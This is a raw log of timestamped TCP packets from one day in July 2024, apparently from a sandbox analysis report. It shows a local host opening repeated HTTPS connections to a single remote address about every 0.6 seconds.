Jul 2, 2024 16:31:43.386090994 CEST	443	54889	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.386225939 CEST	443	54889	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.386280060 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.387042046 CEST	54889	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.388720989 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.388732910 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.388789892 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.389153004 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.389164925 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.884761095 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:43.886835098 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:43.886871099 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.042007923 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.042108059 CEST	443	54890	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.042155981 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.043852091 CEST	54890	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.045339108 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.045380116 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.045452118 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.045770884 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.045785904 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.522708893 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.524760008 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.524796009 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.653353930 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.653510094 CEST	443	54891	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.653609037 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.654329062 CEST	54891	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.655838966 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.655884981 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:44.656166077 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.656441927 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:44.656460047 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.175594091 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.180727005 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.180746078 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.371202946 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.371315002 CEST	443	54892	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.371361017 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.371947050 CEST	54892	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.373738050 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.373785973 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.373851061 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.374150038 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.374167919 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.851867914 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.853451014 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.853482962 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.998966932 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.999073982 CEST	443	54893	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:45.999161005 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:45.999782085 CEST	54893	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.001375914 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.001410961 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.001494884 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.001775026 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.001790047 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.488656998 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.491751909 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.491791964 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.625215054 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.625305891 CEST	443	54894	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.625454903 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.626760960 CEST	54894	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.627072096 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.627114058 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:46.627243996 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.628102064 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:46.628115892 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.093981028 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.098536015 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.098566055 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.233105898 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.233190060 CEST	443	54895	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.233318090 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.233916044 CEST	54895	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.235163927 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.235223055 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.235361099 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.235652924 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.235670090 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.722909927 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.724498034 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.724529028 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.875365973 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.875614882 CEST	443	54896	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.875675917 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.876236916 CEST	54896	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.877516031 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.877564907 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:47.877634048 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.877897024 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:47.877912998 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.599613905 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.601968050 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.601989985 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.760740995 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.760864973 CEST	443	54897	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.761001110 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.762783051 CEST	54897	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.762783051 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.762823105 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:48.764925957 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.768775940 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:48.768790007 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.254060984 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.260734081 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.260760069 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.388947964 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.389064074 CEST	443	54898	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.389122009 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.389877081 CEST	54898	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.391609907 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.391650915 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.391716003 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.392615080 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.392628908 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.863497019 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.865047932 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.865067005 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.995522976 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.995803118 CEST	443	54899	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.995903969 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.996443033 CEST	54899	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.997932911 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.997978926 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:49.998044014 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.998310089 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:49.998322010 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.470014095 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.472742081 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.472776890 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.780102968 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.780229092 CEST	443	54900	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.780477047 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.784734964 CEST	54900	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.784845114 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.784887075 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:50.788844109 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.789086103 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:50.789105892 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.284723997 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.286417961 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.286428928 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.425173044 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.425273895 CEST	443	54901	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.425318956 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.425923109 CEST	54901	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.427252054 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.427277088 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.427345037 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.427712917 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.427725077 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.893841028 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:51.895586967 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:51.895601988 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.030999899 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.031114101 CEST	443	54902	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.031172991 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.031897068 CEST	54902	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.033425093 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.033463955 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.033541918 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.033822060 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.033830881 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.531344891 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.535765886 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.535785913 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.672897100 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.673017025 CEST	443	54903	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.673171043 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.674185991 CEST	54903	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.676738977 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.676764965 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:52.681092024 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.681145906 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:52.681153059 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.146569967 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.152743101 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.152776957 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.306543112 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.306652069 CEST	443	54904	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.306713104 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.307425976 CEST	54904	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.308490038 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.308521986 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.308581114 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.308882952 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.308896065 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.773910046 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.775962114 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.775970936 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.921201944 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.921314955 CEST	443	54905	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.921396971 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.922219992 CEST	54905	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.923868895 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.923902035 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:53.924068928 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.924401999 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:53.924417019 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.412405968 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.416742086 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.416770935 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.547123909 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.547240019 CEST	443	54906	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.547717094 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.547853947 CEST	54906	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.548892021 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.548929930 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:54.552807093 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.553189039 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:54.553203106 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.046188116 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.052743912 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.052774906 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.200314999 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.200623989 CEST	443	54907	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.200759888 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.204736948 CEST	54907	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.204739094 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.204776049 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.204921007 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.208736897 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.208755016 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.695940971 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.698246956 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.698263884 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.882839918 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.883090019 CEST	443	54908	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.883157969 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.883910894 CEST	54908	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.885479927 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.885538101 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:55.885600090 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.885876894 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:55.885889053 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.375355959 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.376741886 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.376777887 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.520545959 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.521045923 CEST	443	54909	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.525080919 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.525080919 CEST	54909	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.528737068 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.528764963 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:56.532917023 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.536741018 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:56.536756039 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.025346041 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.034363031 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.034411907 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.160334110 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.160449982 CEST	443	54910	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.161360979 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.161360979 CEST	54910	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.164777040 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.164813995 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.169043064 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.169043064 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.169080973 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.635078907 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.636475086 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.636490107 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.779767036 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.779880047 CEST	443	54911	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.779942036 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.780662060 CEST	54911	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.781747103 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.781776905 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:57.781888008 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.782094002 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:57.782102108 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.266293049 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.267812967 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.267827034 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.408557892 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.408665895 CEST	443	54912	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.411736012 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.413233042 CEST	54912	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.413255930 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.413300991 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.415016890 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.415432930 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.415452957 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.901109934 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:58.902410984 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:58.902432919 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.044811010 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.044915915 CEST	443	54913	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.047044992 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.048654079 CEST	54913	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.048654079 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.048692942 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.051105976 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.054760933 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.054774046 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.536413908 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.538209915 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.538233995 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.686877012 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.687114000 CEST	443	54914	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.687161922 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.687632084 CEST	54914	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.689050913 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.689071894 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:31:59.689121008 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.689527035 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:31:59.689538956 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.175584078 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.177263975 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.177284956 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.311038971 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.311145067 CEST	443	54915	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.311300993 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.312736988 CEST	54915	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.313273907 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.313334942 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.313529015 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.316782951 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.316797018 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.789531946 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.792762995 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.792783022 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.923466921 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.923577070 CEST	443	54916	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.923717022 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.924252033 CEST	54916	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.925740957 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.925766945 CEST	443	54917	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:00.926103115 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.926500082 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:00.926512003 CEST	443	54917	104.20.4.235	192.168.2.6
